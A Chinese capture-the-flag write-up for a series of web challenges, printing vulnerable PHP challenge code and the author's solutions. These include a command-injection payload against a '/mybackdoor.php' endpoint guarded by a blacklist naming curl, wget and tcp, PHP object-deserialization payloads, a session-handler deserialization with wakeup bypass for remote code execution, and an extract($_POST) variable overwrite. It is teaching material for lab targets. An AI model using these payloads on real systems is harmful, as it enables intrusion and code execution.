我一定要试试 Web 方向 直接就有flag
Signin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0 );require_once ("flag.php" );if ($_SERVER ['REQUEST_METHOD' ] !=='POST' ){ die ("Please Change Your Method!" ); exit (); }else { if (!isset ($_POST ["CNSS" ])){ show_source(__FILE__ ); } else if ($_POST ["CNSS" ] === "join" ){ if ((isset ($_GET ["web" ])) && (($_GET ["web" ]) === "like" )){ setcookie("flag" ,"0" ); if ($_COOKIE ['flag' ] === '1' ){ echo $flag ; }else {show_source(__FILE__ );} }else { show_source(__FILE__ ); } } }
简单的代码审计
https://chrome.google.com/webstore/detail/ginpbkfigcoaokgflihfhhmglmbchinc
hackbar下载地址(需要科学上网)
D3buger 进去之后,第一反应是查看源代码 但是发现f12 鼠标右键 crul+u都不好使了,那就是JavaScript限制了我们的使用
以chrome为例,其他浏览器也可以,自己摸索
把JavaScript给禁用了,
回来之后发现网页就变空白了,这时候我们ctrl+u 查看源代码
发现有一个fuck.js 点进去
flag就有了
[👶Baby]GitHacker 用githacker下载源码 直接是搜不到flag的 通过查看日志文件,发现flag被删除了,那就利用git命令恢复到以前的版本去
1 2 3 4 git reset -hard HEAD git restore index.html
更坑的数学题
题目意思应该是让1s内去提交答案 就能得到flag 下面有一个加时的按钮,通过代码审计,以及抓包的分析,这个按钮是假的
这时候就有两种解法, 第一种是拼手速,1s之内算出来在提交
第二种就是写脚本去解,下面附上我写的脚本,跑一下就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport reimport stringfrom requests.sessions import session url='http://81.68.109.40:30005/' session=requests.session() req=session.get(url=url) prog = re.compile ('\d{8}' ) group=prog.findall(req.text)sum =int (group[0 ])*int (group[1 ])str =str (sum ) data={ 'res' :str } r=session.post(url=url,data=data)print (r.text)
[😃Easy]Ezp#p 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0 ); require_once ("flag.php" ); show_source(__FILE__ ); $pass = '0e0' ; $md55 = $_COOKIE ['token' ]; $md55 = md5($md55 ); if (md5($md55 ) == $pass ){ if (isset ($_GET ['query' ])){ $before = $_GET ['query' ]; $med = 'filter' ; $after = preg_replace( "/$med /" , '' , $before ); if ($after === $med ){ echo $flag1 ; } } $verify = $_GET ['verify' ]; } extract($_POST ); if (md5($verify ) === $pass ){ echo $$verify ; }?>
存粹就是一个套娃烂活题
先代码审计,发现前面的if语句需要找一个两次md5加密后开头是0e的,爆破了好多位,没有出,其实前面的代码都没有用,主要在
extract($_POST);这段代码,可以把$_POST数组里的值全部赋给变量,那就好说了,直接赋值即可,值得注意的是这个题有两段flag,也给了提示,需要传两次参
payload
[😃Easy]China Flag 这个提示都不是很清楚
只做了第一步,实在是没搞懂出题人第二步想考察的啥
这个题应该是要考察http响应头的一些知识,但是提示太过模糊,不做也罢,想学习这方面知识可以看下buu上的 假猪套天下第一 这套题,考得比较详细,不整这些烂活
[😮Mid]太极掌门人 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); show_source(__FILE__ ); function deleteDir ($path ) { if (is_dir($path )) { $dirs = scandir($path ); foreach ($dirs as $dir ) { if ($dir != '.' && $dir != '..' ) { $sonDir = $path .'/' .$dir ; if (is_dir($sonDir )) { deleteDir($sonDir ); @rmdir($sonDir ); } elseif ($sonDir !== './index.php' && $sonDir !== './flag.php' ) { @unlink($sonDir ); } } } @rmdir($path ); } } $devil = '<?php exit;?>' ; $goods = $_POST ['goods' ]; file_put_contents($_POST ['train' ], $devil . $goods ); sleep(1 ); deleteDir('.' );?>
死亡die(exit)绕过,也算是一个比较经典的题了
参考下这个链接,讲的比较详细
https://blog.csdn.net/woshilnp/article/details/117266628
其中那个删除目录的方法考察的并非是条件竞争,因为是静态靶机,定时删除shell,防止利用他人的shell
[😮Mid]BlackPage 1 2 3 4 5 6 7 8 9 10 <!-- \<\?phps$file = $_GET ["file" ];$blacklist = "(**blacklist**)" ;if (preg_match("/" .$blacklist ."/is" ,$file ) == 1 ){ exit ("Nooo,You can't read it." ); }else { include $file ; }
查看源码,发现就这样,那就用base64去读源码
读出来以后base64解密
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0 );function blacklist ($cmd ) { $filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)" ; if (preg_match("/" .$filter ."/is" ,$cmd )==1 ){ exit ('Go out! This black page does not belong to you!' ); } else { system($cmd ); } } blacklist($_GET ['cmd' ]);?>
比较简单的命令执行
payload
1 http: //121.41.7.149:65002/mybackdoor .php?cmd=tac%09/?? ?? ?? ?? ?? ??
[😯Mid]bestLanguage 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting(0 );class superGate { public $gay = true ; function __destruct ( ) { echo file_get_contents("/flag" ); die (); } }$p = $_GET ['p' ];$honey = unserialize($p );if (preg_match("/superGate/i" , serialize($honey ))){ echo "no" ; throw Exception (); } show_source(__FILE__ );
烂活题
最开始想着绕过superGate,发现绕不过去
本地跑下源码
这个errr_reporting(0)是不回显报错的意思,把他给注释掉
去传参看看怎么报错,是这个Expection方法没定义,最开始想的是原生类反序列化,但是并没有调用的方法,突然灵光一现,能不能把expection这个方法给定义了,但是反序列化是不能直接定义方法的,但是又想到expection类里面有Expection方法,那就去extends一下,看看能不能行
1 O:9 :"superGate" :8 :{s:3 :"gay" ;b :1 ;s:10 :"*message" ;s:0 :"" ;s:17 :"Exceptionstring" ;s:0 :"" ;s:7 :"*code" ;i :0 ;s:7 :"*file" ;s:28 :"D:\phpstudy_pro\WWW\test.php" ;s:7 :"*line" ;i :8 ;s:16 :"Exceptiontrace" ;a :0 :{}s:19 :"Exceptionprevious" ;N;}
成功打通
这种方法平时确实很少见
[😮Mid]To_be_Admin_Again 老题了 利用的是
session.serialize_handler设置的设置的方式不同造成的反序列化,还有wakeup的绕过
参考文章
https://www.freebuf.com/vuls/202819.html
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class CNSS { private $username ; private $code ; public function __construct ( ) { $this ->username = "admin" ; $this ->code="phpinfo();" ; } }$a =new CNSS();echo urlencode("|" .serialize($a ));
在save.php里传参(注意此时需要修改属性数量绕过wakeup)
1 ?cnss=%7 CO%3 A4%3 A%22 CNSS%22 %3 A3%3 A%7 Bs%3 A14%3 A%22 %00 CNSS%00 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A10%3 A%22 %00 CNSS%00 code%22 %3 Bs%3 A10%3 A%22 phpinfo%28 %29 %3 B%22 %3 B%7 D
然后返回主页刷新即可rce